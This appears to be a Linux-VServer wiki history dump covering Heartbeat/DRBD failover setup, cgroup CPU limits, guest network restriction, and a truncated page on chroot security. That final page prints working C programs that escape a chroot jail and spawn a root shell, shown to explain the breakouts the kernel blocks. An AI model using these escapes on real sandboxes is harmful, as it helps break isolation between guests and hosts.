Offcourse we want to be informed later on by heartbeat in case a node goes down, so we install postfix to send the mail.<br />
<br />
This should be done on both nodes<br />
<br />
<code><br />
apt-get install postfix mailx<br />
</code><br />
<br />
and go for the defaults, "internet site" and node1.example.com"<br />
<br />
We don't want postfix to listen to all interfaces,<br />
<br />
<code><br />
nano /etc/postfix/main.cf<br />
</code><br />
<br />
and change the line at the bottom to read like this, otherwise we get into trouble with postfix blocking port 25 for all the Vservers later.<br />
<br />
<code><br />
inet_interfaces = loopback-only<br />
</code><br />
<br />
<br />
== Heartbeat ==<br />
<br />
=== Get aquinted ===<br />
Add the other node in the hosts file of both nodes, this way Heartbeat knows who is who.<br />
<br />
so for node1 do<br />
<br />
<code><br />
nano /etc/hosts<br />
</code><br />
<br />
and add node2<br />
<br />
<pre><br />
192.168.1.200 node2<br />
</pre><br />
<br />
=== Get intimate ===<br />
<br />
Set up some keys on both boxes so we can ssh login without a password (defaults, no passphrase)<br />
<br />
<code><br />
ssh-keygen<br />
</code><br />
<br />
then copy over the public keys<br />
<br />
<code><br />
scp /root/.ssh/id_rsa.pub 192.168.1.100:/root/.ssh/authorized_keys<br />
</code><br />
<br />
<code><br />
scp /root/.ssh/id_rsa.pub 192.168.1.200:/root/.ssh/authorized_keys<br />
</code><br />
<br />
=== Configure Heartbeat ===<br />
<br />
Without the ha.cf file Heartbeat wil not start, this should only be done on 1 of the nodes.<br />
<br />
<code><br />
nano /etc/ha.d/ha.cf<br />
</code><br />
<br />
<pre><br />
autojoin none <br />
#crm on #enables heartbeat2 cluster manager - we want that!<br />
use_logd on<br />
logfacility syslog<br />
keepalive 1<br />
deadtime 10<br />
warntime 10<br />
udpport 694<br />
auto_failback on #resources move back once node is back online<br />
mcast bond0 239.0.0.43 694 1 0 <br />
bcast eth2 <br />
node node1 #hostnames of the nodes<br />
node node2<br />
</pre><br />
<br />
This one also on 1 of the nodes<br />
<br />
<code><br />
nano /etc/ha.d/authkeys<br />
</code><br />
<br />
<pre><br />
auth 3<br />
3 md5 failover ## this is just a string, enter what you want ! auth 3 md5 uses md5 encryption<br />
</pre><br />
<br />
<code><br />
chmod 600 /etc/ha.d/authkeys<br />
</code><br />
<br />
<note><br />
We will be using heartbeat R1-style configuration here simply because i don't understand the R2 xml based syntax.<br />
</note><br />
We only did the above 2 config files on 1 node but we need it on both, heartbeat can do that for us.<br />
<br />
<code><br />
/usr/lib/heartbeat/ha_propagate<br />
</code><br />
<br />
=== Heatbeat behavior ===<br />
<br />
After above 2 files are set, the haresources is where we want to be to control Heartbeats behaviour.<br />
This is an example for 1 Vserver that we will set up later on.<br />
<br />
<code><br />
nano /etc/ha.d/haresources<br />
</code><br />
<br />
<pre><br />
node1 drbddisk::r1 LVM::drbdvg1 Filesystem::/dev/drbdvg1/web::/VSERVERS/web::ext3 vserver-web SendArp::123.123.123.125/bond0 MailTo::randall@songshu.org::DRBDFailure<br />
</pre><br />
<br />
The above will default the Vserver named web to node1 and specify the mount points, the vserver-web script will start and stop heartbeat, the sendarp is for notifying the network that this IP can be found somewhere else then before. (have added the SendArp an extra time below for better result)<br />
<br />
Another example for more than 1 Vserver,<br />
We only specify 1 default node here for all Vservers and the same DRBD disk and Volume Group, the individual start scripts and mount points are specified separately, mind the \, its all in 1 line. the last mail command is only needed once.<br />
<br />
<pre><br />
node1 \<br />
drbddisk::r0 \<br />
LVM::drbdvg0 \<br />
Filesystem::/dev/drbdvg0/web::/VSERVERS/web::ext3 \<br />
Filesystem::/dev/drbdvg0/ns1::/VSERVERS/ns1::ext3 \<br />
Vserver-web \<br />
Vserver-ns1 \<br />
SendArp::123.123.123.125/bond0 \<br />
SendArp::123.123.123.126/bond0 \<br />
MailTo::randall@songshu.org::DRBDFailure<br />
</pre><br />
<br />
=== start/stop script ===<br />
<br />
The vserver-web script as specified to be called by heartbeat above is basically a demolished version of the original R2 style agent by Martin Fick from here http://www.theficks.name/bin/lib/ocf/VServer.<br />
<br />
What i did is remove the sensible top part and replace "$OCF_RESKEY_vserver" with the specific Vserver name, also added an extra<br />
<br />
<pre><br />
/etc/ha.d/resource.d/SendArp 123.123.123.126/bond0 start<br />
</pre><br />
<br />
to the start part because i had various results when done by Heartbeat in the first tests i did, not sure if it is still needed but i guess it doesn't hurt.<br />
<br />
<code><br />
nano /etc/ha.d/resource.d/Vserver-web<br />
</code><br />
<br />
<pre><br />
#!/bin/sh<br />
#<br />
# License: GNU General Public License (GPL) <br />
# Author: Martin Fick <mogulguy@yahoo.com><br />
# Date: 04/19/07<br />
# Version: 1.1<br />
#<br />
# This script manages a VServer instance<br />
#<br />
# It can start or stop a VServer<br />
#<br />
# usage: $0 {start|stop|status|monitor|meta-data}<br />
#<br />
#<br />
# OCF parameters are as below<br />
# OCF_RESKEY_vserver<br />
#<br />
#######################################################################<br />
# Initialization:<br />
#<br />
#. /usr/lib/heartbeat/ocf-shellfuncs<br />
#<br />
#USAGE="usage: $0 {start|stop|status|monitor|meta-data}";<br />
#<br />
#######################################################################<br />
#<br />
#<br />
#meta_data() {<br />
# cat <<END<br />
#<?xml version="1.0"?><br />
#<!DOCTYPE resource-agent SYSTEM "ra-api-1.dtd"><br />
#<resource-agent name="VServer"><br />
# <version>1.0</version><br />
# <longdesc lang="en"><br />
#This script manages a VServer instance.<br />
#It can start or stop a VServer.<br />
# </longdesc><br />
# <shortdesc lang="en">OCF Resource Agent compliant VServer script.</shortdesc><br />
#<br />
# <parameters><br />
#<br />
# <parameter name="vserver" unique="1" required="1"><br />
# <longdesc lang="en"><br />
#The vserver name is the name as found under /etc/vservers<br />
# </longdesc><br />
# <shortdesc lang="en">VServer Name</shortdesc><br />
# <content type="string" default="" /><br />
# </parameter><br />
#<br />
# </parameters><br />
#<br />
# <actions><br />
# <action name="start" timeout="2m" /><br />
# <action name="stop" timeout="1m" /><br />
# <action name="monitor" depth="0" timeout="1m" interval="5s" start-delay="2m" /><br />
# <action name="status" depth="0" timeout="1m" interval="5s" start-delay="2m" /><br />
# <action name="meta-data" timeout="1m" /><br />
# </actions><br />
#</resource-agent><br />
#END<br />
#}<br />
<br />
vserver_reload() {<br />
vserver_stop || return<br />
vserver_start<br />
}<br />
<br />
vserver_stop() {<br />
#<br />
# Is the VServer already stopped?<br />
#<br />
vserver_status<br />
[ $? -ne 0 ] && return 0<br />
<br />
/usr/sbin/vserver "web" "stop"<br />
<br />
vserver_status<br />
[ $? -ne 0 ] && return 0<br />
<br />
return 1<br />
}<br />
<br />
vserver_start() {<br />
vserver_status<br />
[ $? -eq 0 ] && return 0<br />
<br />
/usr/sbin/vserver "web" "start"<br />
vserver_status<br />
/etc/ha.d/resource.d/SendArp 123.123.123.125/bond0 start<br />
}<br />
<br />
vserver_status() {<br />
/usr/sbin/vserver "web" "status"<br />
rc=$?<br />
if [ $rc -eq 0 ]; then<br />
echo "running"<br />
return 0<br />
elif [ $rc -eq 3 ]; then<br />
echo "stopped"<br />
else<br />
echo "unknown"<br />
fi<br />
return 7<br />
}<br />
<br />
vserver_monitor() {<br />
vserver_status<br />
}<br />
<br />
<br />
vserver_usage() {<br />
<br />
echo $USAGE >&2<br />
}<br />
<br />
vserver_info() {<br />
cat - <<!INFO<br />
Abstract=VServer Instance takeover<br />
Argument=VServer Name<br />
Description:<br />
A Vserver is a simulated server which is fairly hardware independent<br />
so it can be easily setup to run on several machines.<br />
Please rerun with the meta-data command for a list of \\<br />
valid arguments and their defaults.<br />
!INFO<br />
}<br />
<br />
#<br />
# Start or Stop the given VServer...<br />
#<br />
<br />
if [ $# -ne 1 ] ; then<br />
vserver_usage<br />
exit 2<br />
fi<br />
<br />
case "$1" in<br />
start|stop|status|monitor|reload|info|usage) vserver_$1 ;;<br />
meta-data) meta_data ;;<br />
validate-all|notify|promote|demote) exit 3 ;;<br />
<br />
*) vserver_usage ; exit 2 ;;<br />
esac<br />
<br />
<br />
</pre><br />
To make this file executable by Heartbeat<br />
<br />
<code><br />
chmod a+x /etc/ha.d/resource.d/Vserver-web<br />
</code><br />
<br />
=== not needed???? ===<br />
<br />
There is some more interesting discussion going on here, [[Advanced_DRBD_mount_issues]]) , for those who have multiple Vservers on multiple DRBD devices. Not sure if it also applies for this setup but i'm using it without any drawbacks at the moment.<br />
<br />
Below is a changed version of option 4 by Christian Balzer<br />
<br />
<code><br />
nano /etc/ha.d/resource.d/drbddisk<br />
</code><br />
<br />
<pre><br />
stop)<br />
# Kill off any vserver mounts that might hog this<br />
VNSPACE=/usr/sbin/vnamespace<br />
<br />
for CTX in `/usr/sbin/vserver-stat | tail -n +2 | awk '{print $1}'`<br />
do<br />
MPOINT="`$VNSPACE -e $CTX cat /proc/mounts | grep $RES | awk '{print $2}'`"<br />
echo Unmounting mount point $MPOINT from within context $CTX<br />
### MOUNT POINT IS COMPULSORY. DEVICE NAME DOES NOT WORK!!!<br />
$VNSPACE -e $CTX /bin/umount $MPOINT || continue;<br />
done<br />
# exec, so the exit code of drbdadm propagates<br />
exec $DRBDADM secondary $RES<br />
<br />
</pre><br />
<br />
== Create a Vserver ==<br />
<br />
Note that we already have mounted the LVM partition on /VSERVERS/web in an earlier step, we're going to place both the /var and /etc directories on the mountpoint and symlink to it, this way the complete Vserver and its config are available on the other node when mounted.<br />
<br />
<code><br />
mkdir -p /VSERVERS/web/etc<br />
</code><br />
<br />
<code><br />
mkdir -p /VSERVERS/web/barrier/var<br />
</code><br />
<br />
When making the Vserver it will be in the default location /var/lib/vservers/web and its config in /etc/vservers/web <br />
<br />
<pre><br />
vserver web build -m debootstrap --hostname web.example.com --interface bond0:123.123.123.125/24 -- -d etch -m http://123.123.123.81:3142/debian.apt-get.eu/debian<br />
</pre><br />
<br />
<pre><br />
enter the root password<br />
</pre><br />
<br />
<pre><br />
Create a normal user account now? <br />
<No> <br />
</pre><br />
<br />
<pre><br />
Choose software to install: <br />
<Ok> <br />
</pre><br />
<br />
On node1 we move the Vserver directories to the LVM volume on the DRBD disks and make symlinks from the normal locations.<br />
<br />
On node1<br />
<br />
<code><br />
mv /etc/vservers/web/* /VSERVERS/web/etc/<br />
</code><br />
<br />
<code><br />
rmdir /etc/vservers/web/<br />
</code><br />
<br />
<code><br />
ln -s /VSERVERS/web/etc /etc/vservers/web<br />
</code><br />
<br />
<code><br />
mv /var/lib/vservers/web/* /VSERVERS/web/barrier/var<br />
</code><br />
<br />
<code><br />
rmdir /var/lib/vservers/web/<br />
</code><br />
<br />
<code><br />
ln -s /VSERVERS/web/barrier/var /var/lib/vservers/web<br />
</code><br />
<br />
We need to set the same symlinks on node2, but the we need the Vserver directories available there first.<br />
The mounting should be handled by heartbeat by now so we make our resources move to the other machine.<br />
<br />
On node1<br />
<br />
<code><br />
/etc/init.d/heartbeat stop<br />
</code><br />
<br />
On node2<br />
<br />
<code><br />
ln -s /VSERVERS/web/etc /etc/vservers/web<br />
</code><br />
<br />
<br />
<code><br />
ln -s /VSERVERS/web/barrier/var /var/lib/vservers/web<br />
</code><br />
<br />
On node1<br />
<br />
<code><br />
/etc/init.d/heartbeat start<br />
</code><br />
<br />
<code><br />
Vserver web start<br />
</code><br />
<br />
and enjoy!</div>Daniel hozachttp://svn.linux-vserver.org/util-vserver:Cgroupsutil-vserver:Cgroups2009-10-22T22:37:51Z<p>Daniel hozac: Reverted edits by 127.0.0.1 (Talk); changed back to last version by 217.128.26.129</p>
<hr />
<div>== Draft - Cgroups and vservers ==<br />
<br />
to make cgroups works with vserver your kernel must have the following settings:<br />
<br />
<pre><br />
CONFIG_CGROUPS=y<br />
# CONFIG_CGROUP_DEBUG is not set<br />
# CONFIG_CGROUP_NS is not set<br />
CONFIG_CGROUP_FREEZER=y<br />
CONFIG_CGROUP_DEVICE=y<br />
CONFIG_CGROUP_SCHED=y<br />
CONFIG_CGROUP_CPUACCT=y<br />
CONFIG_CGROUP_MEM_RES_CTLR=y<br />
</pre><br />
<br />
Or in the menu:<br />
<br />
<pre><br />
[*] Control Group support [ ] Example debug cgroup subsystem<br />
[ ] Namespace cgroup subsystem<br />
[*] control group freezer subsystem<br />
[*] Device controller for cgroups<br />
[*] Cpuset support<br />
[*] Group CPU scheduler<br />
[*] Group scheduling for SCHED_OTHER<br />
[ ] Group scheduling for SCHED_RR/FIFO<br />
Basis for grouping tasks (Control groups) ---><br />
[*] Simple CPU accounting cgroup subsystem<br />
[*] Resource counters<br />
[*] Memory Resource Controller for Control Groups<br />
</pre><br />
<br/><br />
Note about this from the list:<br />
<pre><br />
<br />
> > I currently have the CONFIG_CGROUP_NS option set in my kernels. Does <br />
> > this mean add extra namespace support, or I am preventing the Cgroup <br />
> > based scheduling from working by enabling it? Should I unset it and <br />
> > rebuild?<br />
<br />
yes, with CGROUP_NS enabled, you basically block<br />
the 'normal' cgroup scheduling which is used by<br />
util-vserver, and have to handle the croup namespace<br />
yourself ...<br />
</pre><br />
<br/><br />
You must have the /dev/cgroup mounted with the 'cpu' option. For exemple for cpuset, memory and cpu cgroup handling:<br />
<br />
<pre>(root)> grep cgroup /etc/fstab<br />
cpuset /dev/cgroup cgroup rw,cpuset,cpu,memory 0 0<br />
</pre><br />
<br />
<br/><br />
Then you must create on you guest /etc/vservers/<guest>/cgroup/ all the files put here will be copied to the guest cgroup when created. The doc for cgroup is not on the great flower page but in the source of the latests utils. You can have a default cgroup directory for all guest that can be overrided by each guest's cgroup directory.<br />
<br />
== Draft - Distributing cpu shares with cgroups ==<br />
<br />
From what i gathered in sched-design-CFS.txt [http://people.redhat.com/mingo/cfs-scheduler/sched-design-CFS.txt]<br />
<br />
This is simply done by adjusting the cpu.shares. Just do:<br />
<br />
echo '512' > /dev/cgroup/<guest name>/cpu.shares<br />
<br />
The share you get is equal to the guest's share divided by the sum of the cpu shares of all the guest. So for exemple :<br />
<br />
<pre><br />
vserver guest 1 => 512 <br />
vserver guest 2 => 512<br />
vserver guest 3 => 2048<br />
vserver guest 4 => 512<br />
</pre><br />
<br />
so you have a total of 3584 cpu shares (2048+512+512+512) , then you get :<br />
<br />
<pre><br />
vserver guest 1 => 512 / 3584 = 14% cpu<br />
vserver guest 2 => 512 / 3584 = 14% cpu<br />
vserver guest 3 => 2048 / 3584 = 57% cpu<br />
vserver guest 4 => 512 / 3584 = 14% cpu<br />
</pre><br />
<br/><br />
<br />
<br />
Note that this is fair scheduling and this will not enfore HARD limit (as far as i know).<br />
<br />
== Making share permanent with util vserver ==<br />
<br />
You must use the "cgroup" directory. You can apply defaults to all vservers or choose different settings for each guest:<br />
<br />
* /etc/vservers/.default/cgroup , this directory contains settings applying to all guest when they start<br />
* /etc/vservers/<guestname>/cgroup , this directory contains settings for the guest when it starts.<br />
<br />
<br />
Exemple :<br />
<br />
<pre><br />
mkdir /etc/vservers/.defaults/cgroup<br />
mkdir /etc/vservers/<guestname>/cgroup<br />
echo '2048' > /etc/vservers/<guestname>/cgroup/cpu.shares<br />
# List of CPUs<br />
echo 1 > /etc/vservers/<guestname>/cgroup/cpuset.cpus<br />
# NUMA nodes<br />
echo 1 > /etc/vservers/<guestname>/cgroup/cpuset.mems<br />
</pre><br />
<br />
Note that /etc/vservers is an exemple, in my Aqueos install i use /usr/local/etc/vservers but /etc/vservers seems to be the defaults for the classic installs.<br />
<br />
Regards,<br />
Ghislain.<br />
<br />
== cgroup and CFS based CPU hard limiting that replaces sched_hard ==<br />
<br />
This feature is currently available in patch-2.6.31.2-vs2.3.0.36.15.diff and is in testing phase as of this patch set so report any bugs to the mailing list.<br />
<br />
Example for an upper bound of 2/5th (or 40%) of the all cpu power that a guest/cgroup can use :<br />
<br />
<pre><br />
# force CFS hard limit<br />
echo 1 > /etc/vservers/<guestname>/cgroup/cpu.cfs_hard_limit<br />
# time assigned to guest (in microseconds) 200000 = 0,2 sec <br />
echo 200000 > /etc/vservers/<guestname>/cgroup/cpu.cfs_runtime_us<br />
# in each specified period (in microseconds) 500000 = 0,5 sec <br />
echo 500000 > /etc/vservers/<guestname>/cgroup/cpu.cfs_period_us<br />
</pre><br />
<br />
This limit is an hard limit, see it like an upper wall for the ressources used by the cgroup. <br />
If you set both cpu share AND hard limit the system will do fine but hard limits takes priority over cpu share scheduling, so cpu share will do the job but each cgroup will have an upper bound that it cannot cross even if the cpu share you gived it is higher.<br />
<br />
<pre><br />
Hard limit feature adds 3 cgroup files for CFS group scheduler:<br />
cfs_runtime_us: Hard limit for the group in microseconds.<br />
cfs_period_us: Time period in microseconds within which hard limits is enforced.<br />
cfs_hard_limit: The control file to enable or disable hard limiting for the group.<br />
</pre><br />
<br />
<br/><br />
<br />
== real world exemples of scheduling ==<br />
<br />
<br />
this part is to be filled with exemple you have put in place and are working and have been tested, please add the patch and kernel version for each exemple you put here.</div>Daniel hozachttp://svn.linux-vserver.org/util-vserver:Cgroupsutil-vserver:Cgroups2009-10-06T17:16:06Z<p>Daniel hozac: Fix comment about cpusets</p>
<hr />
<div>== Draft - Cgroups and vservers ==<br />
<br />
to make cgroups works with vserver your kernel must have the following settings:<br />
<br />
<pre><br />
CONFIG_CGROUPS=y<br />
# CONFIG_CGROUP_DEBUG is not set<br />
# CONFIG_CGROUP_NS is not set<br />
CONFIG_CGROUP_FREEZER=y<br />
CONFIG_CGROUP_DEVICE=y<br />
CONFIG_CGROUP_SCHED=y<br />
CONFIG_CGROUP_CPUACCT=y<br />
CONFIG_CGROUP_MEM_RES_CTLR=y<br />
</pre><br />
<br />
Or in the menu:<br />
<br />
<pre><br />
[*] Control Group support [ ] Example debug cgroup subsystem<br />
[ ] Namespace cgroup subsystem<br />
[*] control group freezer subsystem<br />
[*] Device controller for cgroups<br />
[*] Cpuset support<br />
[*] Group CPU scheduler<br />
[*] Group scheduling for SCHED_OTHER<br />
[ ] Group scheduling for SCHED_RR/FIFO<br />
Basis for grouping tasks (Control groups) ---><br />
[*] Simple CPU accounting cgroup subsystem<br />
[*] Resource counters<br />
[*] Memory Resource Controller for Control Groups<br />
</pre><br />
<br/><br />
Note about this from the list:<br />
<pre><br />
<br />
> > I currently have the CONFIG_CGROUP_NS option set in my kernels. Does <br />
> > this mean add extra namespace support, or I am preventing the Cgroup <br />
> > based scheduling from working by enabling it? Should I unset it and <br />
> > rebuild?<br />
<br />
yes, with CGROUP_NS enabled, you basically block<br />
the 'normal' cgroup scheduling which is used by<br />
util-vserver, and have to handle the croup namespace<br />
yourself ...<br />
</pre><br />
<br/><br />
You must have the /dev/cgroup mounted with the 'cpu' option. For exemple for cpuset, memory and cpu cgroup handling:<br />
<br />
<pre>(root)> grep cgroup /etc/fstab<br />
cpuset /dev/cgroup cgroup rw,cpuset,cpu,memory 0 0<br />
</pre><br />
<br />
<br/><br />
Then you must create on you guest /etc/vservers/<guest>/cgroup/ all the files put here will be copied to the guest cgroup when created. The doc for cgroup is not on the great flower page but in the source of the latests utils. You can have a default cgroup directory for all guest that can be overrided by each guest's cgroup directory.<br />
<br />
== Draft - Distributing cpu shares with cgroups ==<br />
<br />
From what i gathered in sched-design-CFS.txt [http://people.redhat.com/mingo/cfs-scheduler/sched-design-CFS.txt]<br />
<br />
This is simply done by adjusting the cpu.shares. Just do:<br />
<br />
echo '512' > /dev/cgroup/<guest name>/cpu.shares<br />
<br />
The share you get is equal to the guest's share divided by the sum of the cpu shares of all the guest. So for exemple :<br />
<br />
<pre><br />
vserver guest 1 => 512 <br />
vserver guest 2 => 512<br />
vserver guest 3 => 2048<br />
vserver guest 4 => 512<br />
</pre><br />
<br />
so you have a total of 3584 cpu shares (2048+512+512+512) , then you get :<br />
<br />
<pre><br />
vserver guest 1 => 512 / 3584 = 14% cpu<br />
vserver guest 2 => 512 / 3584 = 14% cpu<br />
vserver guest 3 => 2048 / 3584 = 57% cpu<br />
vserver guest 4 => 512 / 3584 = 14% cpu<br />
</pre><br />
<br/><br />
<br />
<br />
Note that this is fair scheduling and this will not enfore HARD limit (as far as i know).<br />
<br />
== Making share permanent with util vserver ==<br />
<br />
You must use the "cgroup" directory. You can apply defaults to all vservers or choose different settings for each guest:<br />
<br />
* /etc/vservers/.default/cgroup , this directory contains settings applying to all guest when they start<br />
* /etc/vservers/<guestname>/cgroup , this directory contains settings for the guest when it starts.<br />
<br />
<br />
Exemple :<br />
<br />
<pre><br />
mkdir /etc/vservers/.defaults/cgroup<br />
mkdir /etc/vservers/<guestname>/cgroup<br />
echo '2048' > /etc/vservers/<guestname>/cgroup/cpu.shares<br />
# List of CPUs<br />
echo 1 > /etc/vservers/<guestname>/cgroup/cpuset.cpus<br />
# NUMA nodes<br />
echo 1 > /etc/vservers/<guestname>/cgroup/cpuset.mems<br />
</pre><br />
<br />
Note that /etc/vservers is an exemple, in my Aqueos install i use /usr/local/etc/vservers but /etc/vservers seems to be the defaults for the classic installs.<br />
<br />
Regards,<br />
Ghislain.<br />
<br />
== cgroup and CFS based CPU hard limiting that replaces sched_hard ==<br />
<br />
This feature is currently avilable in patch-2.6.31.2-vs2.3.0.36.15.diff.<br />
<br />
Example for 2/5th of the all cpu power, or 40%<br />
<br />
<pre><br />
# force CFS hard limit<br />
echo 1 > /etc/vservers/<guestname>/cgroup/cpu.cfs_hard_limit<br />
# time assigned to guest (in us)<br />
echo 200000 > /etc/vservers/<guestname>/cgroup/cpu.cfs_runtime_us<br />
# in each specified period (in us)<br />
echo 500000 > /etc/vservers/<guestname>/cgroup/cpu.cfs_period_us<br />
</pre></div>Daniel hozachttp://svn.linux-vserver.org/RestrictingVserverNetworkingTipsRestrictingVserverNetworkingTips2009-09-16T01:30:02Z<p>Daniel hozac: Undo revision 3901 by 66.96.249.53 (Talk)</p>
<hr />
<div>= Tips on Restricting Vserver Guest Network Access =<br />
<br />
These tips are being collected here because they seem scattered over<br />
the documentation. (Thanks to Bertl on <tt>#vserver</tt> for these tips<br />
but errors are not his responsibility :)).<br />
<br />
Most of the discussion below is based on vserver version 2.0.2 with<br />
util-vserver version 0.30.212. Newer versions have easier ways to<br />
achieve the same goals.<br />
<br />
Before doing anything else with Vserver Networking you should repeat<br />
the following mantras many times:<br />
# Network routing policy is determined by the routing table on the host.<br />
# The first interface defined in each guest is treated as the address of the loopback interface for the guest. (The Great Flower Page talks about the <tt>lback</tt> configuration; how does that work?)<br />
# The guest can only establishing "listeners" on <tt><IP address>:<port></tt> combinations where <tt><IP address></tt> is an address that is "assigned" to the guest via an interface definition (or a call to <tt>naddress</tt>).<br />
# All guest interfaces are also available to the host.<br />
<br />
== Network-less guest ==<br />
Strictly speaking this is an "interface-less" guest rather than<br />
a network-less one. This is a guest that cannot make network<br />
connections and cannot be reached from the network since it has<br />
''no'' network interfaces.<br />
<br />
On a kernel with newer (>= 2.3?) vserver patches it should be possible to create a guest<br />
with no interfaces by keeping the directory <tt>/etc/vservers/<guest-name>/interfaces/</tt> empty.<br />
<br />
However, this does '''not''' work with Debian etch (util-vserver 0.30.212 and vserver 2.0.2).<br />
Instead, you get a guest with all host interfaces available for outgoing network connections. At the same time the guest cannot bind a server to these interfaces so one cannot reach the guest from the network.<br />
<br />
To disable ''outgoing'' use of network interfaces under a <br />
kernel with the older (<= 2.0.2?) vserver patches, you<br />
proceed as follows. You create an interface directory (say<br />
<tt>/etc/vservers/<guest-name>/interfaces/0/</tt>) with the<br />
<tt>nodev</tt> configuration. Be sure to define an <tt>ip</tt> as this<br />
is verified first in <tt>/usr/lib/util-vserver/vserver.functions</tt>;<br />
the value in <tt>ip</tt> can be any IP address that is '''not'''<br />
an IP address of the host. (For example, an address like<br />
<tt>192.168.x.y</tt> or <tt>10.x.y.z</tt> which is chosen at random<br />
will not be a host address with some luck.)<br />
This will result in a non-existent host interface being "assigned" to<br />
the guest and thus "no" interface will be available to the guest.<br />
<br />
== Network-local guest ==<br />
We now describe a configuration that leads to a guest that can (''a priori'')<br />
only connect to the host and can be reached via the network only<br />
from the host.<br />
<br />
Define an interface using <tt>dummy0</tt> as the value of <tt>dev</tt> and an <tt>ip</tt><br />
value like <tt>192.168.x.y</tt> or <tt>10.x.y.z</tt> which is not an existing<br />
external-facing interface address for the host. (You may need to<br />
<tt>modprobe dummy</tt> in order to create such an interface.)<br />
<br />
The guest can now connect to '''any''' service on the host that is<br />
listening for connections to <tt><IP address>:80</tt>; where the IP address<br />
must be the one chosen above or the wildcard <tt>0.0.0.0</tt>. For example,<br />
if the host is running a web server that listens to <tt>0.0.0.0</tt>, then<br />
(in the guest) one can run the command<br />
<blockquote><br />
socat - TCP:192.168.x.y:80<br />
</blockquote><br />
to connect to this server; where as before <tt>192.168.x.y</tt> is the chosen IP address.<br />
On the guest, this command is '''equivalent''' to the command<br />
<blockquote><br />
socat - TCP:127.0.0.1:80<br />
</blockquote><br />
Note that the address 127.0.0.1 '''on the guest''' is '''equivalent''' to the chosen<br />
IP address but '''not''' on the host.<br />
<br />
Similarly, the guest can start servers that listen to<br />
<tt>192.168.x.y:8888</tt> or <tt>0.0.0.0:8888</tt> providing that there is no<br />
server that is already listening to this address (on the guest '''or'''<br />
on the host). The host can connect to such a server using the command<br />
<blockquote><br />
socat - TCP:192.168.x.y:80<br />
</blockquote><br />
Both the above type of connections, <tt>guest-to-host</tt> or <tt>host-to-guest</tt><br />
happen over the loopback network interface. <br />
<br />
Suppose you do not want the guest to access services on the host and<br />
vice versa. Then you use <tt>netfilter</tt> to limit connections over<br />
the loopback port. For example,<br />
<blockquote><br />
iptables -I INPUT -d ! 127.0.0.1 -i lo -j DROP<br />
</blockquote><br />
One can restrict specific services by more specific netfilter rules. <br />
For example, we can use<br />
<blockquote><br />
iptables -I INPUT -i lo -p tcp --dport 80 -j ACCEPT<br />
</blockquote><br />
to allow the guest to access the web server on the host and vice<br />
versa.<br />
<br />
'''Warning''': With this configuration the guest will "pollute" the<br />
network neighbourhood with packets whose source address is the given<br />
IP address. So it is best to use netfilter to prevent this with a<br />
configuration like<br />
<blockquote><br />
iptables -I OUTPUT -s 192.168.x.y -d ! lo -j DROP<br />
</blockquote><br />
<br />
== Network-global guest ==<br />
To allow the guest as configured above to have access to the wider<br />
network beyond the host, you can replace the <tt>dummy0</tt><br />
interface with a real one and the private IP address with a "real" IP<br />
address --- assuming such a static adddress is available.<br />
<br />
If your host has a dynamic external IP address and or interface,<br />
then one can instead use <tt>netfilter</tt> to translate the private<br />
address into a real one.<br />
<blockquote><br />
iptables -t nat -A POSTROUTING -o ! lo -j MASQUERADE<br />
</blockquote><br />
This allows the guest to access the internet without polluting the<br />
network neighbourhood with 192.168.x.y addresses.<br />
<br />
==See also==<br />
* [[Networking_vserver_guests |Networking vserver guests]]<br />
* [[Frequently_Asked_Questions#If_my_host_has_only_one_a_single_public_IP.2C_can_I_use_RFC1918_IP_.28e.g._192.168.foo.bar.29_for_the_guest_vservers.3F |FAQ on private networking]]<br />
* [[Frequently_Asked_Questions#When_I_try_to_ssh_to_the_guest.2C_I_log_into_the_host.2C_even_if_I_installed_sshd_on_the_guest._What.27s_wrong_here.3F |Permit guest sshd to bind to its IP address's port 22]]<br />
<br />
----<br />
[[User:Kapil|Kapil Hari Paranjape]] 13:09, 17 September 2007 (CEST)</div>Daniel hozachttp://svn.linux-vserver.org/Secure_chroot_BarrierSecure chroot Barrier2009-09-16T01:29:47Z<p>Daniel hozac: Undo revision 3900 by 193.231.72.8 (Talk)</p>
<hr />
<div>The chroot system call changes the root directory of the current process. This directory will be used for pathnames beginning with /. The root directory is inherited by all children of the current process.<br />
<br />
However several problems are known while using the chroot system call:<br />
<br />
* This call changes an ingredient in the pathname resolution process and does nothing else.<br />
* This call does not change the current working directory<br />
* This call does not close open file descriptors<br />
<br />
These facts disclose several ways to break out of chroot, back to the original root. Some of these methods will be outlined on this page. Additionally we will discuss how a Linux-VServer kernel prevents these breakouts.<br />
<br />
== Breakout Methods ==<br />
<br />
=== Using a temporary directory ===<br />
<br />
Since the chroot system call does not change the current working directory, after the call '.' can be outside the tree rooted at '/'. In particular, the superuser can escape from a 'chroot jail' using the following commands:<br />
<br />
<pre><br />
# mkdir foo<br />
# chroot foo<br />
# cd ..<br />
</pre><br />
<br />
This method is well known, and even documented in the chroot man page.<br />
<br />
=== Using chdir("..") many times ===<br />
<br />
The fact that the chroot system call does not change the current working directory allows to use the chdir system calls many times to get the old root. The following C program demonstrates how to use this method:<br />
<br />
<pre><br />
#include <unistd.h><br />
#include <stdlib.h><br />
#include <stdio.h><br />
#include <sys/types.h><br />
#include <sys/stat.h><br />
<br />
void die(char *msg) {<br />
perror(msg);<br />
exit(1);<br />
}<br />
<br />
int main(int argc, char *argv[])<br />
{<br />
int i;<br />
<br />
if (chdir("/") != 0)<br />
die("chdir(/)");<br />
<br />
if (mkdir("baz", 0777) != 0)<br />
die("mkdir(baz)");<br />
<br />
if (chroot("baz") != 0)<br />
die("chroot(baz)");<br />
<br />
for (i=0; i<50; i++) {<br />
if (chdir("..") != 0)<br />
die("chdir(..)");<br />
}<br />
<br />
if (chroot(".") != 0)<br />
die("chroot(.)");<br />
<br />
printf("Exploit seems to work. =)\n");<br />
<br />
execl("/bin/sh", "sh", "-i", (char *)0);<br />
die("exec sh");<br />
<br />
exit(0);<br />
}<br />
</pre><br />
<br />
=== Using an open file descriptor ===<br />
<br />
Since the chroot system call does not close open file descriptors, you can use these file descriptors pointing outside the chroot to escape. The following C program demonstrates how to use this method:<br />
<br />
<pre><br />
#include <unistd.h><br />
#include <stdlib.h><br />
#include <stdio.h><br />
#include <fcntl.h><br />
#include <sys/types.h><br />
#include <sys/stat.h><br />
<br />
void die(char *msg) {<br />
perror(msg);<br />
exit(1);<br />
}<br />
<br />
int main(int argc, char *argv[])<br />
{<br />
int i, fd;<br />
<br />
if (chdir("/") != 0)<br />
die("chdir(/)");<br />
<br />
if ((fd = open("/", O_RDONLY)) == -1)<br />
die("open(/)");<br />
<br />
if (mkdir("baz", 0777) != 0)<br />
